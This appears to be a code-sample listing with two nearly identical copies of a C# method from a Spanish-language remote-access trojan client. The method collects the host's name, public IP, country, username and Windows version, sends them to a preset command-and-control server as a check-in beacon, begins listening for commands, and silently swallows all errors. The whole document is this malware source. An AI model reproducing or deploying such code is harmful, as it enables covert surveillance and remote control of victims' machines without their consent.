Exemplo n.º 1
0
        public static void entrar_al_servidor()
        {
            try
            {

                DH_Tools tools = new DH_Tools();

                string consegui_host = "";
                string consegui_ip = "";
                string consegui_pais = "";
                string consegui_user = "";
                string consegui_os = "";
                string os = "";
                string code = tools.toma("http://whatismyipaddress.com/");

                try
                {
                    consegui_host = System.Net.Dns.GetHostName();
                }
                catch
                {
                    consegui_host = "?";
                }

                Match regex = Regex.Match(code, "Click for more about (.*)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    consegui_ip = regex.Groups[1].Value;
                }
                else
                {
                    consegui_ip = "?";
                }

                regex = Regex.Match(code, "Country:</th><td style=\"font-size:14px;\">(.*)</td></tr>", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    consegui_pais = regex.Groups[1].Value;
                }
                else
                {
                    consegui_pais = "?";
                }

                try
                {
                    consegui_user = System.Environment.UserName;
                }
                catch
                {
                    consegui_user = "******";
                }

                try
                {
                    OperatingSystem sistema_operativo = Environment.OSVersion;
                    Version version_del_sistema = sistema_operativo.Version;
                    string version_to_check = version_del_sistema.ToString();

                    if (version_to_check.StartsWith("4.0"))
                    {
                        os = "Windows 95";
                    }
                    else if (version_to_check.StartsWith("4.10"))
                    {
                        os = "Windows 98";
                    }
                    else if (version_to_check.StartsWith("4.90"))
                    {
                        os = "Windows Me";
                    }
                    else if (version_to_check.StartsWith("4.0"))
                    {
                        os = "Windows NT 4.0";
                    }
                    else if (version_to_check.StartsWith("5.0"))
                    {
                        os = "Windows 2000";
                    }
                    else if (version_to_check.StartsWith("5.1"))
                    {
                        os = "Windows XP";
                    }
                    else if (version_to_check.StartsWith("5.2"))
                    {
                        os = "Windows 2003";
                    }
                    else if (version_to_check.StartsWith("6.0"))
                    {
                        os = "Windows Vista";
                    }
                    else if (version_to_check.StartsWith("6.1"))
                    {
                        os = "Windows 7";
                    }

                    else if (version_to_check.StartsWith("6.2"))
                    {
                        os = "Windows 8";
                    }
                    else
                    {
                        os = "?";
                    }

                    consegui_os = os;
                }
                catch
                {
                    os = "?";
                }

                conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server);

                enviar_respuesta("-ACATOY-LLEGUE-ACATOY--"+consegui_host+"--"+consegui_ip+"--"+consegui_pais+"--"+consegui_user+"--"+consegui_os+"--");
                conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leer_datos_del_servidor, null);
            }
            catch
            {
                //
            }
        }
Exemplo n.º 2
0
        public static void entrar_al_servidor()
        {
            try
            {
                DH_Tools tools = new DH_Tools();

                string consegui_host = "";
                string consegui_ip   = "";
                string consegui_pais = "";
                string consegui_user = "";
                string consegui_os   = "";
                string os            = "";
                string code          = tools.toma("http://whatismyipaddress.com/");

                try
                {
                    consegui_host = System.Net.Dns.GetHostName();
                }
                catch
                {
                    consegui_host = "?";
                }

                Match regex = Regex.Match(code, "Click for more about (.*)\"", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    consegui_ip = regex.Groups[1].Value;
                }
                else
                {
                    consegui_ip = "?";
                }

                regex = Regex.Match(code, "Country:</th><td style=\"font-size:14px;\">(.*)</td></tr>", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    consegui_pais = regex.Groups[1].Value;
                }
                else
                {
                    consegui_pais = "?";
                }

                try
                {
                    consegui_user = System.Environment.UserName;
                }
                catch
                {
                    consegui_user = "******";
                }

                try
                {
                    OperatingSystem sistema_operativo   = Environment.OSVersion;
                    Version         version_del_sistema = sistema_operativo.Version;
                    string          version_to_check    = version_del_sistema.ToString();

                    if (version_to_check.StartsWith("4.0"))
                    {
                        os = "Windows 95";
                    }
                    else if (version_to_check.StartsWith("4.10"))
                    {
                        os = "Windows 98";
                    }
                    else if (version_to_check.StartsWith("4.90"))
                    {
                        os = "Windows Me";
                    }
                    else if (version_to_check.StartsWith("4.0"))
                    {
                        os = "Windows NT 4.0";
                    }
                    else if (version_to_check.StartsWith("5.0"))
                    {
                        os = "Windows 2000";
                    }
                    else if (version_to_check.StartsWith("5.1"))
                    {
                        os = "Windows XP";
                    }
                    else if (version_to_check.StartsWith("5.2"))
                    {
                        os = "Windows 2003";
                    }
                    else if (version_to_check.StartsWith("6.0"))
                    {
                        os = "Windows Vista";
                    }
                    else if (version_to_check.StartsWith("6.1"))
                    {
                        os = "Windows 7";
                    }

                    else if (version_to_check.StartsWith("6.2"))
                    {
                        os = "Windows 8";
                    }
                    else
                    {
                        os = "?";
                    }

                    consegui_os = os;
                }
                catch
                {
                    os = "?";
                }

                conexion_con_el_server.Connect(datos_para_la_conexion_con_el_server);

                enviar_respuesta("-ACATOY-LLEGUE-ACATOY--" + consegui_host + "--" + consegui_ip + "--" + consegui_pais + "--" + consegui_user + "--" + consegui_os + "--");
                conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0, leer_datos_del_servidor, null);
            }
            catch
            {
                //
            }
        }